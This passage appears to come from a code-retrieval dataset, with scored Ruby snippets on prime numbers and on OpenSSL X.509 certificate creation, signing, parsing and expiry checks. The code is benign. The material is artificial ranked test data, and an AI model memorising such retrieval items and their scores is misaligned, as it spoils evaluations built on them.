"text": "def coprime?(num_1, num_2)\n (2...num_1).each do |div|\n if num_1 % div == 0 && num_2 % div == 0\n return false\n end\n end\n true\nend",
"title": ""
},
{
"docid": "0b0e183184ee64f7fd12a6eb9819e84a",
"score": "0.64318496",
"text": "def prime(num)\n # Enter code here\nend",
"title": ""
},
{
"docid": "181ffaccfcc513592d680a0354ff89cd",
"score": "0.64313984",
"text": "def find_primes_under(num)\n\tprimes = [2]\n\tcounter = 3\n\twhile primes[-1] < num\n\t\tcounter2 = 2\n\t\twhile counter2 <= counter\n\t\t\tif counter % counter2 == 0\n\t\t\t\tbreak\n\t\t\telsif\n\t\t\t\tcounter2 * counter2 > counter\n\t\t\t\tprimes << counter\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tcounter2 += 1\n\t\tend\n\tcounter += 1\n\tend\n\tprimes[0..-2]\nend",
"title": ""
},
{
"docid": "ff3fa104ffa7ba868562b53be489ed2e",
"score": "0.6430756",
"text": "def find_primes(first_number, last_number, fname)\n\n\tfileforprimes = File.open(fname, \"w\")\n\n\tfor i in first_number..last_number\n \n \tif Prime.prime?(i)\n\n \t\t# uncomment next line to output primes to the console\n \t\t# puts i\n\n \t\tfileforprimes.puts i\n\n\t\tend\n\n end\n \n fileforprimes.close\n\nend",
"title": ""
},
{
"docid": "14f9d4dd8edf6b54bb798f5c6d8ab1b5",
"score": "0.6407563",
"text": "def p7\n\tprimes = [2]\n\t(1...10001).each do\n\t\tprime = next_prime(primes[-1])\n\t\tprimes << prime\n\tend\n\tprimes[-1]\nend",
"title": ""
},
{
"docid": "7e3afa1db34b198f8364519c296d571d",
"score": "0.6401359",
"text": "def goldbach(n)\n a = (2..n-1).primes.find { |a| is_prime(n - a) }\n [a, n - a]\nend",
"title": ""
},
{
"docid": "f2e64a6ff4adfd977be7e973ffa07855",
"score": "0.63978994",
"text": "def primes(num)\n\twhole_array = (2..num).to_a\n\tprime_array = [whole_array.shift]\n\n\tuntil whole_array == []\n\t\twhole_array.delete_if { |x| x % prime_array.last == 0 }\n\t\tprime_array << whole_array.shift\n\tend\n\tprime_array\nend",
"title": ""
},
{
"docid": "5d68d613fb09ca2f533f63928c9dcc25",
"score": "0.63956743",
"text": "def prime2(nprime)\n\n primes = [2]\n factors = {}\n\n num = 3\n while primes.size < nprime do\n\n root = Math.sqrt(num).floor\n isprime = true\n\n primes.each{ |prime|\n break if prime > root\n if num % prime == 0\n isprime = false\n break\n end\n }\n\n primes << num if isprime\n num += 1\n\n printf(\"\\r%d\", primes.size) if primes.size % 1000.0 == 0\n\n end\n\n return primes\n\nend",
"title": ""
},
{
"docid": "3f79d01b7310cd6ecaedb040b0b8cdb4",
"score": "0.63939166",
"text": "def emirps num\n\ti = 2\n\twhile i < num do\n\t\treverse_i = i.to_s.reverse.to_i\n\t\tif isPrime(i) && isPrime(reverse_i)\n\t\t\tprint i.to_s + \"\\n\"\n\t\tend\n\t\ti = i + 1\n\tend\n\nend",
"title": ""
}
] |
ba31e0e23492934075d12a43ec18d44b | =begin def self.from_openssl openssl_cert unless openssl_cert.is_a? OpenSSL::X509::Certificate raise "Can only construct from an OpenSSL::X509::Certificate" end certificate = Certificate.new Only subject, key_material, and body are used for signing certificate.distinguished_name = DistinguishedName.from_openssl openssl_cert.subject certificate.key_material.public_key = openssl_cert.public_key certificate.openssl_body = openssl_cert certificate.serial_number.number = openssl_cert.serial.to_i certificate.not_before = openssl_cert.not_before certificate.not_after = openssl_cert.not_after TODO extensions certificate end =end | [
{
"docid": "299376120b7d45a6b3931d4e0656ea88",
"score": "0.6966587",
"text": "def sign!(signing_profile={})\n raise \"Invalid certificate #{self.errors.full_messages}\" unless valid?\n merge_profile_with_extensions(signing_profile)\n\n openssl_cert = OpenSSL::X509::Certificate.new\n openssl_cert.version = 2\n openssl_cert.not_before = self.not_before\n openssl_cert.not_after = self.not_after\n openssl_cert.public_key = self.key_material.public_key\n\n openssl_cert.serial = self.serial_number.number\n\n openssl_cert.subject = self.distinguished_name.to_x509_name\n openssl_cert.issuer = parent.distinguished_name.to_x509_name\n\n factory = OpenSSL::X509::ExtensionFactory.new\n factory.subject_certificate = openssl_cert\n\n #NB: If the parent doesn't have an SSL body we're making this a self-signed cert\n if parent.openssl_body.nil?\n factory.issuer_certificate = openssl_cert\n else\n factory.issuer_certificate = parent.openssl_body\n end\n\n factory.config = build_openssl_config\n\n # Order matters: e.g. for self-signed, subjectKeyIdentifier must come before authorityKeyIdentifier\n self.extensions.keys.sort{|a,b| b<=>a}.each do |k|\n e = extensions[k]\n next if e.to_s.nil? or e.to_s == \"\" ## If the extension returns an empty string we won't include it\n ext = factory.create_ext(e.openssl_identifier, e.to_s, e.critical)\n openssl_cert.add_extension(ext)\n end\n\n if signing_profile[\"digest\"].nil?\n digest = OpenSSL::Digest.new(\"SHA512\")\n else\n digest = OpenSSL::Digest.new(signing_profile[\"digest\"])\n end\n\n self.openssl_body = openssl_cert.sign(parent.key_material.private_key, digest)\n end",
"title": ""
}
] | [
{
"docid": "269e63bd47e81e58c35c684996f9fe68",
"score": "0.7024349",
"text": "def certificate; end",
"title": ""
},
{
"docid": "269e63bd47e81e58c35c684996f9fe68",
"score": "0.7024349",
"text": "def certificate; end",
"title": ""
},
{
"docid": "3daf35525b39222649b78c0883c84a7d",
"score": "0.69584966",
"text": "def ssl_certificate\n @ssl_certificate ||= OpenSSL::X509::Certificate.new <<-CERT\n-----BEGIN CERTIFICATE-----\nMIIBQjCB7aADAgECAgEAMA0GCSqGSIb3DQEBBQUAMCoxDzANBgNVBAMMBm5vYm9k\neTEXMBUGCgmSJomT8ixkARkWB2V4YW1wbGUwIBcNMTExMTAzMjEwODU5WhgPOTk5\nOTEyMzExMjU5NTlaMCoxDzANBgNVBAMMBm5vYm9keTEXMBUGCgmSJomT8ixkARkW\nB2V4YW1wbGUwWjANBgkqhkiG9w0BAQEFAANJADBGAkEA8pmEfmP0Ibir91x6pbts\n4JmmsVZd3xvD5p347EFvBCbhBW1nv1GsbCBEFlSiT1q2qvxGb5IlbrfdhdgyqdTX\nUQIBATANBgkqhkiG9w0BAQUFAANBAAAB////////////////////////////////\n//8AMCEwCQYFKw4DAhoFAAQUePiv+QrJxyjtEJNnH5pB9OTWIqA=\n-----END CERTIFICATE-----\n CERT\n end",
"title": ""
},
{
"docid": "2edbf5ab935d31636c055ac25ede68e7",
"score": "0.682749",
"text": "def cert; end",
"title": ""
},
{
"docid": "2edbf5ab935d31636c055ac25ede68e7",
"score": "0.682749",
"text": "def cert; end",
"title": ""
},
{
"docid": "2edbf5ab935d31636c055ac25ede68e7",
"score": "0.682749",
"text": "def cert; end",
"title": ""
},
{
"docid": "0c8abb647df9c81b523a266f6a8d6e39",
"score": "0.68217945",
"text": "def x509\n @x509 ||= OpenSSL::X509::Certificate.new(as_pem)\n end",
"title": ""
},
{
"docid": "64595381a211f4f04209767e673c133a",
"score": "0.6798691",
"text": "def certificate_get\n return @cert unless @cert.nil?\n cert_path = File.join(resource[:cert_dir], resource[:cert_name])\n @cert = if Pathname.new(cert_path).exist?\n file = File.read(cert_path)\n OpenSSL::X509::Certificate.new(file)\n else\n false\n end\n end",
"title": ""
},
{
"docid": "b157b31746b3b86536a12d796392ccaa",
"score": "0.6757397",
"text": "def cert_pem; end",
"title": ""
},
{
"docid": "34eef6df6afb1f5c96ab3100d63f580c",
"score": "0.6751786",
"text": "def gen_x509_cert(request, extension, info, key)\n raise TypeError, \"request must be a Ruby OpenSSL::X509::Request\" unless request.is_a?(::OpenSSL::X509::Request)\n raise TypeError, \"extension must be a Ruby Array\" unless extension.is_a?(Array)\n raise TypeError, \"info must be a Ruby Hash\" unless info.is_a?(Hash)\n raise TypeError, \"key must be a Ruby OpenSSL::PKey::EC object or a Ruby OpenSSL::PKey::RSA object\" unless key.is_a?(::OpenSSL::PKey::EC) || key.is_a?(::OpenSSL::PKey::RSA)\n\n raise ArgumentError, \"info must contain a validity\" unless info.key?(\"validity\")\n raise TypeError, \"info['validity'] must be a Ruby Integer object\" unless info[\"validity\"].is_a?(Integer)\n\n cert = ::OpenSSL::X509::Certificate.new\n ef = ::OpenSSL::X509::ExtensionFactory.new\n\n cert.serial = gen_serial\n cert.version = 2\n cert.subject = request.subject\n cert.public_key = request.public_key\n cert.not_before = Time.now\n cert.not_after = cert.not_before + info[\"validity\"] * 24 * 60 * 60\n\n if info[\"issuer\"].nil?\n cert.issuer = request.subject\n ef.issuer_certificate = cert\n extension << ef.create_extension(\"basicConstraints\", \"CA:TRUE\", true)\n else\n raise TypeError, \"info['issuer'] must be a Ruby OpenSSL::X509::Certificate object\" unless info[\"issuer\"].is_a?(::OpenSSL::X509::Certificate)\n\n cert.issuer = info[\"issuer\"].subject\n ef.issuer_certificate = info[\"issuer\"]\n end\n ef.subject_certificate = cert\n if openssl_config = __openssl_config\n ef.config = openssl_config\n end\n\n cert.extensions = extension\n cert.add_extension ef.create_extension(\"subjectKeyIdentifier\", \"hash\")\n cert.add_extension ef.create_extension(\"authorityKeyIdentifier\",\n \"keyid:always,issuer:always\")\n\n cert.sign(key, ::OpenSSL::Digest.new(\"SHA256\"))\n cert\n end",
"title": ""
},
{
"docid": "2882e173cc82fae5d2e0584801fd5a4c",
"score": "0.67412096",
"text": "def initialize(opts = {})\n @basic_constraints = R509::Cert::Extensions::BasicConstraints.new(opts[:basic_constraints]) unless opts[:basic_constraints].nil?\n @key_usage = R509::Cert::Extensions::KeyUsage.new(opts[:key_usage]) unless opts[:key_usage].nil?\n @extended_key_usage = R509::Cert::Extensions::ExtendedKeyUsage.new(opts[:extended_key_usage]) unless opts[:extended_key_usage].nil?\n @certificate_policies = R509::Cert::Extensions::CertificatePolicies.new(opts[:certificate_policies]) unless opts[:certificate_policies].nil?\n @inhibit_any_policy = R509::Cert::Extensions::InhibitAnyPolicy.new(opts[:inhibit_any_policy]) unless opts[:inhibit_any_policy].nil?\n @policy_constraints = R509::Cert::Extensions::PolicyConstraints.new(opts[:policy_constraints]) unless opts[:policy_constraints].nil?\n @name_constraints = R509::Cert::Extensions::NameConstraints.new(opts[:name_constraints]) unless opts[:name_constraints].nil?\n @ocsp_no_check = R509::Cert::Extensions::OCSPNoCheck.new(opts[:ocsp_no_check]) unless opts[:ocsp_no_check].nil?\n @authority_info_access = R509::Cert::Extensions::AuthorityInfoAccess.new(opts[:authority_info_access]) unless opts[:authority_info_access].nil?\n @crl_distribution_points = R509::Cert::Extensions::CRLDistributionPoints.new(opts[:crl_distribution_points]) unless opts[:crl_distribution_points].nil?\n @subject_item_policy = validate_subject_item_policy(opts[:subject_item_policy])\n @default_md = validate_md(opts[:default_md] || R509::MessageDigest::DEFAULT_MD)\n @allowed_mds = validate_allowed_mds(opts[:allowed_mds])\n end",
"title": ""
},
{
"docid": "0fc4c572f1b36f081f5e42bd1f82d61d",
"score": "0.669872",
"text": "def generate_ca_data!\n self.private_key = OpenSSL::PKey::RSA.new(2048)\n public_key = private_key.public_key\n\n self.ca_cert = OpenSSL::X509::Certificate.new\n self.ca_cert.subject = self.ca_cert.issuer = self.subject # self-signed\n self.ca_cert.not_before = Time.now\n self.ca_cert.not_after = Time.now + 365 * 24 * 60 * 60 * 10 #TODO change from hardcoded 10 years\n self.ca_cert.public_key = public_key\n self.ca_cert.serial = 0x0\n self.next_serial = 0x1\n self.ca_cert.version = 2\n\n ef = OpenSSL::X509::ExtensionFactory.new\n ef.subject_certificate = ca_cert\n ef.issuer_certificate = ca_cert\n # TODO Make this changeable\n self.ca_cert.extensions = [\n ef.create_extension(\"basicConstraints\",\"CA:TRUE\", true),\n ef.create_extension(\"subjectKeyIdentifier\", \"hash\"),\n ]\n self.ca_cert.add_extension ef.create_extension(\"authorityKeyIdentifier\", \"keyid:always,issuer:always\")\n\n self.ca_cert.sign private_key, OpenSSL::Digest::SHA1.new\n end",
"title": ""
},
{
"docid": "cdfc459f140428f952f1b569378c1c66",
"score": "0.66585374",
"text": "def parsed_certificate\n OpenSSL::X509::Certificate.new(certificate_bytes)\n end",
"title": ""
},
{
"docid": "3aad2321e5c90b51bfce76eac64242fb",
"score": "0.66355914",
"text": "def certificate=(certificate); end",
"title": ""
},
{
"docid": "9343206cff29d7ea7bfdb2ec50add219",
"score": "0.66329986",
"text": "def certificate_file\n super\n end",
"title": ""
},
{
"docid": "6f072f1c8cba72e56c053dd4cda27a91",
"score": "0.6627706",
"text": "def initialize(options = {})\n if options[:data]\n @x509_csr = OpenSSL::X509::Request.new(options[:data])\n\n else\n # generate the subject name\n subjectX509 = OpenSSL::X509::Name.parse options[:subject]\n\n # save the key pair which was used for that\n @key_pair = options[:key]\n\n # generate the csr\n @x509_csr = OpenSSL::X509::Request.new\n @x509_csr.version = 0\n @x509_csr.subject = subjectX509\n @x509_csr.public_key = @key_pair.to_x509.public_key\n @x509_csr = @x509_csr.sign @key_pair.to_x509, OpenSSL::Digest::SHA1.new\n end\n end",
"title": ""
},
{
"docid": "60d1d2b4a74d7cc408f4672f31fb3010",
"score": "0.6611617",
"text": "def create_self_signed_cert(bits, cn, comment)\n rsa = OpenSSL::PKey::RSA.new(bits)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = 1\n name = OpenSSL::X509::Name.new(cn)\n cert.subject = name\n cert.issuer = name\n cert.not_before = Time.now\n cert.not_after = Time.now + (365*24*60*60)\n cert.public_key = rsa.public_key\n cert.sign(rsa, OpenSSL::Digest::SHA1.new)\n return [cert, rsa]\nend",
"title": ""
},
{
"docid": "0f4fe789e73355b1084cac586e38dbaa",
"score": "0.6597388",
"text": "def endorsement_cert\r\n raw_cert = tag[Tem::ECert.ecert_tag_key].pack('C*')\r\n OpenSSL::X509::Certificate.new raw_cert\r\n end",
"title": ""
},
{
"docid": "98390360a9be76d33cff11f0b3a902ab",
"score": "0.6558091",
"text": "def cert=(cert); end",
"title": ""
},
{
"docid": "cf2878de4a0028979ae46e930cbd6734",
"score": "0.6555906",
"text": "def initialize\n @ssl_cert = OpenSSL::X509::Certificate.new(File.read(get_path(OtaEnroll.settings.ssl_crt))) if File.exists?(get_path(OtaEnroll.settings.ssl_crt))\n @ssl_key = OpenSSL::PKey::RSA.new(File.read(get_path(OtaEnroll.settings.ssl_key))) if File.exists?(get_path(OtaEnroll.settings.ssl_key))\n @root_cert = OpenSSL::X509::Certificate.new(File.read(get_path(OtaEnroll.settings.ca_crt))) if File.exists?(get_path(OtaEnroll.settings.ca_crt))\n @root_key = OpenSSL::PKey::RSA.new(File.read(get_path(OtaEnroll.settings.ca_key))) if File.exists?(get_path(OtaEnroll.settings.ca_key))\n @ra_cert = OpenSSL::X509::Certificate.new(File.read(get_path(OtaEnroll.settings.ra_crt))) if File.exists?(get_path(OtaEnroll.settings.ra_crt))\n @ra_key = OpenSSL::PKey::RSA.new(File.read(get_path(OtaEnroll.settings.ra_key))) if File.exists?(get_path(OtaEnroll.settings.ra_key))\n @sign_interm_cert = OpenSSL::X509::Certificate.new(File.read(get_path(OtaEnroll.settings.sign_interm_crt))) if File.exists?(get_path(OtaEnroll.settings.sign_interm_crt))\n @server_interm_cert = OpenSSL::X509::Certificate.new(File.read(get_path(OtaEnroll.settings.server_interm_crt))) if File.exists?(get_path(OtaEnroll.settings.server_interm_crt))\n end",
"title": ""
},
{
"docid": "a4b086a146aec96ea590ea7568026958",
"score": "0.6553965",
"text": "def other_certificate_file\n super\n end",
"title": ""
},
{
"docid": "654666a1884f03996efd0e6ad883f48b",
"score": "0.6532651",
"text": "def configure(cert)\n req = signing_request\n cert.issuer = Billy.certificate_authority.cert.subject\n cert.not_before = days_ago(2)\n cert.not_after = days_from_now(2)\n cert.public_key = req.public_key\n cert.serial = serial\n cert.subject = req.subject\n cert.version = 2\n end",
"title": ""
},
{
"docid": "d9dd8d901978bc6dad61faa16c3ab827",
"score": "0.652688",
"text": "def prepare_certificate(csr)\n cert = OpenSSL::X509::Certificate.new\n cert.subject = csr.subject\n cert.public_key = csr.public_key\n cert\n end",
"title": ""
},
{
"docid": "154cd713ea08c493a9e82bf9e1816664",
"score": "0.6496416",
"text": "def cert_object(cert)\n bytes = cert_to_bytes(cert)\n cert_from_bytes(bytes) if bytes\n end",
"title": ""
},
{
"docid": "d125fe8df2158bf7e70f9ca5902b2742",
"score": "0.6481651",
"text": "def initialize()\n super\n @odata_type = \"#microsoft.graph.pkcs12Certificate\"\n end",
"title": ""
},
{
"docid": "0e441e8d4fe1df18c3660c261153acdf",
"score": "0.6481181",
"text": "def cert_content; end",
"title": ""
},
{
"docid": "69131965ece0979a0aee6f8e3da06ae0",
"score": "0.64774793",
"text": "def certificate\n cert_value = @ar.at_css(\n 'xmlns|X509Certificate',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).content.gsub(/\\s+/, \"\")\n\n cert = process_cert_value(cert_value)\n\n begin\n OpenSSL::X509::Certificate.new(cert)\n rescue => e\n fail OpenSSL::X509::CertificateError,\n \"The certificate embedded in the application response could not be \" \\\n \"processed. It's most likely corrupted. \" \\\n \"OpenSSL had this to say: #{e}.\"\n end\n end",
"title": ""
},
{
"docid": "079ecdab557065b82ab756570eb1bd55",
"score": "0.6475697",
"text": "def sign!(cert)\n openssl_cert = cert.cert # because model -> OpenSSL object\n openssl_cert.serial = self.next_serial\n cert.serial = self.next_serial\n openssl_cert.issuer = ca_cert.subject\n openssl_cert.sign private_key, OpenSSL::Digest::SHA1.new\n self.next_serial = self.next_serial + 1\n self.save\n nil\n end",
"title": ""
},
{
"docid": "99a9db86e860a22e3b53a2639f23d274",
"score": "0.6451519",
"text": "def certificate\n return @cert unless @cert.nil?\n\n # Verify that the given directory exists\n unless File.directory?(resource[:cert_dir])\n raise ArgumentError, \"Directory not found for: #{resource[:cert_dir]}\"\n end\n\n cert_path = File.join(resource[:cert_dir], resource[:cert_name])\n @cert = if Pathname.new(cert_path).exist?\n file = File.read(cert_path)\n OpenSSL::X509::Certificate.new(file)\n else\n false\n end\n end",
"title": ""
},
{
"docid": "59a8b49913b3aaa33bf4257a9e11a443",
"score": "0.6426218",
"text": "def initialize(data, cert, key)\n @p7 = OpenSSL::PKCS7.sign(cert.raw_cert, key.raw_key, data, [], FLAGS)\n @store = OpenSSL::X509::Store.new\n end",
"title": ""
},
{
"docid": "c983af3326988e0c147d846ee9986a84",
"score": "0.6355597",
"text": "def to_x509()\n @cert\n end",
"title": ""
},
{
"docid": "c84aef800891a203a27f443076830c08",
"score": "0.63516974",
"text": "def certificate\n _get_certificate\n end",
"title": ""
},
{
"docid": "f3080f7355a8adc636f967bf38d61936",
"score": "0.635041",
"text": "def initialize(domain)\n @domain = domain\n @key = OpenSSL::PKey::RSA.new(2048)\n @cert = generate\n end",
"title": ""
},
{
"docid": "803f7a7d5fa5bce9effe26c52f12ff29",
"score": "0.63277113",
"text": "def certificate\n Base64.strict_encode64(parsed_certificate.to_der)\n end",
"title": ""
},
{
"docid": "1b43cae00a8fada0d37a1df835cbad0e",
"score": "0.6311179",
"text": "def x509_certificate(value)\n OpenSSL::X509::Certificate.new value\n end",
"title": ""
},
{
"docid": "4e8907022d37a6b094a55103ff308b40",
"score": "0.6307338",
"text": "def ca_cert\n \n end",
"title": ""
},
{
"docid": "609469c3602c3d0cb4408d62eda9bfce",
"score": "0.63064",
"text": "def create_self_signed_cert(bits, cn, aliases, comment)\n rsa = OpenSSL::PKey::RSA.new(bits)\n cert = OpenSSL::X509::Certificate.new\n cert.version = 2\n cert.serial = Time.now.to_i % (1 << 20)\n name = OpenSSL::X509::Name.new(cn)\n cert.subject = name\n cert.issuer = name\n cert.not_before = Time.now\n cert.not_after = Time.now + (365 * 24 * 60 * 60)\n cert.public_key = rsa.public_key\n\n ef = OpenSSL::X509::ExtensionFactory.new(nil, cert)\n ef.issuer_certificate = cert\n cert.extensions = [\n ef.create_extension('basicConstraints', 'CA:FALSE'),\n ef.create_extension('keyUsage', 'keyEncipherment'),\n ef.create_extension('subjectKeyIdentifier', 'hash'),\n ef.create_extension('extendedKeyUsage', 'serverAuth'),\n ef.create_extension('nsComment', comment)\n ]\n aki = ef.create_extension('authorityKeyIdentifier',\n 'keyid:always,issuer:always')\n cert.add_extension(aki)\n cert.add_extension ef.create_extension('subjectAltName', aliases.map { |d| \"DNS: #{d}\" }.join(','))\n\n cert.sign(rsa, OpenSSL::Digest.new('SHA256'))\n\n [cert, rsa]\n end",
"title": ""
},
{
"docid": "3ca0b658e141aa7d6cd09df8b83a0813",
"score": "0.6270785",
"text": "def sellar(cert_file, key_file, password)\n nocertificado=\"\"\n certificado=\"\"\n raw = File.read cert_file\n certificate = OpenSSL::X509::Certificate.new raw\n certificate.serial.to_s(16).scan(/.{2}/).each {|v| nocertificado += v[1] }\n certificado = certificate.to_s.gsub(/^-.+/, '').gsub(/\\n/, '')\n\n digest = OpenSSL::Digest::SHA1.new\n pem_file = export_to_pem(key_file, password )\n\n pkey = OpenSSL::PKey::RSA.new( File.read(pem_file), password)\n signature = pkey.sign(OpenSSL::Digest::SHA1.new, certificado)\n #puts pkey.verify(digest, signature, certificado)\n sello =Base64.encode64(signature).gsub(/\\n/, '')\n\n set(:certificado, certificado)\n set(:nocertificado, nocertificado)\n set(:sello, sello)\n\n\n end",
"title": ""
},
{
"docid": "4b5e3050c9007e36b25fddf8552b5376",
"score": "0.6269775",
"text": "def certificate(common_name, pfx_file, key_type, password, optionals = {})\n command = []\n command << @adt_path\n command << \"-certificate\"\n command << \"-cn #{common_name}\"\n command << \"-ou #{optionals[:org_unit]}\" if !optionals[:org_unit].blank?\n command << \"-o #{optionals[:org]}\" if !optionals[:org].blank?\n command << \"-c #{optionals[:country]}\" if !optionals[:country].blank?\n command << key_type\n command << escape(pfx_file)\n command << password\n process(command)\n end",
"title": ""
},
{
"docid": "51d33d5ef7754817700edee7ca3babcb",
"score": "0.62369525",
"text": "def parse_cert(cert)\n domains_to_add = []\n san_extension = nil\n parsed_cert = OpenSSL::X509::Certificate.new(cert)\n parsed_cert.extensions.each { |extension|\n if (extension.oid == 'subjectAltName') then\n domains_to_add = parse_san_extension(extension)\n end\n }\n {:subject => parsed_cert.subject, :subjectAltName => domains_to_add}\n end",
"title": ""
},
{
"docid": "4efe20e738ac7a5172dfc0e1e6fbafd6",
"score": "0.6224337",
"text": "def cert_store; end",
"title": ""
},
{
"docid": "4efe20e738ac7a5172dfc0e1e6fbafd6",
"score": "0.6224337",
"text": "def cert_store; end",
"title": ""
},
{
"docid": "94df8f610956ac3128a18127e1493a37",
"score": "0.62086713",
"text": "def cert\n @cert\n end",
"title": ""
},
{
"docid": "8439a09157c20f2cddd1e7f2f2ff6fbb",
"score": "0.6200045",
"text": "def build_certificate_request\n set_body_contents\n end",
"title": ""
},
{
"docid": "8439a09157c20f2cddd1e7f2f2ff6fbb",
"score": "0.6200045",
"text": "def build_certificate_request\n set_body_contents\n end",
"title": ""
},
{
"docid": "a1da861b01f727eb49c34c76952ec169",
"score": "0.6191566",
"text": "def certificate=(cert_metadata)\n if cert_metadata\n attributes[:certificate_valid_from] = time_or_original(cert_metadata[\"valid_from\"])\n attributes[:certificate_expires_at] = time_or_original(cert_metadata[\"expires_at\"])\n attributes[:certificate_issuer] = cert_metadata[\"issuer\"]\n attributes[:certificate_subject] = cert_metadata[\"subject\"]\n attributes[:certificate_enable_ssl3] = cert_metadata[\"sslv3\"]\n else\n attributes[:certificate_valid_from] = nil\n attributes[:certificate_expires_at] = nil\n attributes[:certificate_issuer] = nil\n attributes[:certificate_subject] = nil\n attributes[:certificate_enable_ssl3] = nil\n end\n end",
"title": ""
},
{
"docid": "6895db101cae1d3769a6c2d73f9b3abc",
"score": "0.61903846",
"text": "def cert=(certificate)\n @cert = certificate\n # Try to guess a digest algorithm for signature creation\n case @cert.signature_algorithm\n when 'GOST R 34.11-94 with GOST R 34.10-2001'\n self.signature_digest_algorithm = :gostr3411\n self.signature_algorithm_id = 'http://www.w3.org/2001/04/xmldsig-more#gostr34102001-gostr3411'\n # Add clauses for other types of keys that require other digest algorithms and identifiers\n else # most common 'sha1WithRSAEncryption' type included here\n set_default_signature_method! # Reset any changes as they can become malformed\n end\n end",
"title": ""
},
{
"docid": "556f95815c2c2ce2fd1ce2dac1de6aa1",
"score": "0.6155194",
"text": "def sign_certificate\n sign_certificate_for(default)\n end",
"title": ""
},
{
"docid": "49589d32da713e7555d4c043a26fb727",
"score": "0.61545944",
"text": "def create_self_signed_cert(bits, cn, comment)\n\trsa = OpenSSL::PKey::RSA.new(bits){|p,n|\n\t\tcase p\n\t\twhen 0; $stderr.putc \".\" # BN_generate_prime\n\t\twhen 1; $stderr.putc \"+\" # BN_generate_prime\n\t\twhen 2; $stderr.putc \"*\" # search good prime,\n\t\t\t# n = #of try,\n\t\t\t# data came from BN_generate_prime too\n\t\twhen 3; $stderr.putc \"\\n\" # found good prime, n == 0 - p, n == 1 - q,\n\t\t\t# data came from BN_generate_prime too\n\t\telse; $stderr.putc \"*\" # BN_generate_prime\n\t\tend\n\t}\n\tcert = OpenSSL::X509::Certificate.new\n\tcert.version = 2\n\tcert.serial = 1\n\tname = OpenSSL::X509::Name.new(cn)\n\tcert.subject = name\n\tcert.issuer = name\n\tcert.not_before = Time.now\n\tcert.not_after = Time.now + (365 * 24 * 60 * 60)\n\tcert.public_key = rsa.public_key\n\n\tef = OpenSSL::X509::ExtensionFactory.new(nil, cert)\n\tef.issuer_certificate = cert\n\tcert.extensions = [\n\t\tef.create_extension('basicConstraints', 'CA:FALSE'),\n\t\tef.create_extension('keyUsage', 'keyEncipherment'),\n\t\tef.create_extension('subjectKeyIdentifier', 'hash'),\n\t\tef.create_extension('extendedKeyUsage', 'serverAuth'),\n\t\tef.create_extension('nsComment', comment),\n\t]\n\taki = ef.create_extension('authorityKeyIdentifier', 'keyid:always, issuer:always')\n\tcert.add_extension(aki)\n\tcert.sign(rsa, OpenSSL::Digest::SHA1.new)\n\n\treturn [ cert, rsa ]\nend",
"title": ""
},
{
"docid": "5e62dd3c198adcfd66f60fe7dee56690",
"score": "0.61544216",
"text": "def certificate(serial_number)\n RubyAem::Resources::Certificate.new(@client, serial_number)\n end",
"title": ""
},
{
"docid": "3cc911a9f82f0ea120210591b8c79093",
"score": "0.6146085",
"text": "def initialize(comname)\n tcp_client = TCPSocket.new(comname, 443)\n ssl_client = OpenSSL::SSL::SSLSocket.new(tcp_client)\n ssl_client.hostname = comname\n ssl_client.connect\n cert = OpenSSL::X509::Certificate.new(ssl_client.peer_cert)\n ssl_client.sysclose\n tcp_client.close\n \n certgoods = OpenSSL::X509::Name.new(cert.issuer).to_a\n issuer = certgoods.select { |name, data, type| name == \"O\" }.first[1]\n @results = { \n valid_on: cert.not_before,\n valid_until: cert.not_after,\n issuer: issuer\n }\n end",
"title": ""
},
{
"docid": "77b702cd0b0fd57d8b314d78972e9ea2",
"score": "0.6142454",
"text": "def initialize(host, ssl_port, timestamp)\n\n @addr = host.addr\n @hostname = host.hostname\n @num = ssl_port.num.to_i\n @proto = ssl_port.proto\n @tunnel = ssl_port.service.tunnel\n @svcname = ssl_port.service.name\n @svcproduct = ssl_port.service.product\n @svcversion = ssl_port.service.version\n @timestamp = timestamp\n\n if ssl_port.script('ssl-cert') && ssl_port.script('ssl-cert').output\n expire_regex = /Not valid after: (\\d{4}-\\d{2}-\\d{2}T\\d\\d:\\d\\d:\\d\\d)/\n match = expire_regex.match(ssl_port.script('ssl-cert').output)\n @expire = Date.parse(match[1]) if match\n\n created_regex = /Not valid before: (\\d{4}-\\d{2}-\\d{2}T\\d\\d:\\d\\d:\\d\\d)/\n match = created_regex.match(ssl_port.script('ssl-cert').output)\n @created = Date.parse(match[1]) if match\n\n type_regex = /Public Key type: (\\w{1,5})/\n match = type_regex.match(ssl_port.script('ssl-cert').output)\n @type = match[1].upcase if match\n\n bits_regex = /Public Key bits: (\\w{1,5})/\n match = bits_regex.match(ssl_port.script('ssl-cert').output)\n @bits = match[1].to_i if match\n\n issuer_regex = /Issuer: commonName=([^\\/\\n]*)/\n match = issuer_regex.match(ssl_port.script('ssl-cert').output)\n @issuer = match[1] if match\n\n subject_regex = /Subject: commonName=([^\\/\\n]*)/\n match = subject_regex.match(ssl_port.script('ssl-cert').output)\n @subject = match[1] if match\n\n sigalgo_regex = /Signature Algorithm: ([^\\n]*)/\n match = sigalgo_regex.match(ssl_port.script('ssl-cert').output)\n @sigalgo = match[1] if match\n\n thumbprint_regex = /SHA-1:([^\\n]*)/\n match = thumbprint_regex.match(ssl_port.script('ssl-cert').output)\n @thumbprint = match[1] if match\n\n end\n\n end",
"title": ""
},
{
"docid": "1f428f6334b63f41a016112b6beb6663",
"score": "0.61257267",
"text": "def run\n _log \"Enriching... SSL Certificate: #{_get_entity_name}\"\n\n not_before = _get_entity_detail(\"not_before\")\n # not before aug 31 \n # today aug 20\n if not_before && Time.parse(not_before) > Time.now\n _log \"Creating issue for certificate that is not yet valid\"\n _create_linked_issue \"invalid_certificate_premature\"\n end\n\n not_after = _get_entity_detail(\"not_after\")\n # not after aug 31 \n # today aug 20\n if not_after && Time.parse(not_after) < Time.now\n _log \"Creating issue for expired certificate\"\n _create_linked_issue \"invalid_certificate_expired\"\n end\n\n thirty_days = 2592000\n ## not afere Aug 31\n ## not afeer - 30 days = July 31\n ## Time.now = Aug 20\n ## Time.now - 30 days = July 20\n if not_after && \n !(Time.parse(not_after) < Time.now) && # expired\n (Time.parse(not_after) - thirty_days) < Time.now # expires in 30 days\n \n _log \"Creating issue for almost expired certificate\"\n _create_linked_issue \"invalid_certificate_almost_expired\"\n end\n\n # https://www.globalsign.com/en/blog/moving-from-sha-1-to-sha-256\n algo = _get_entity_detail(\"algorithm\")\n if algo && (algo == \"SHA1\" || algo == 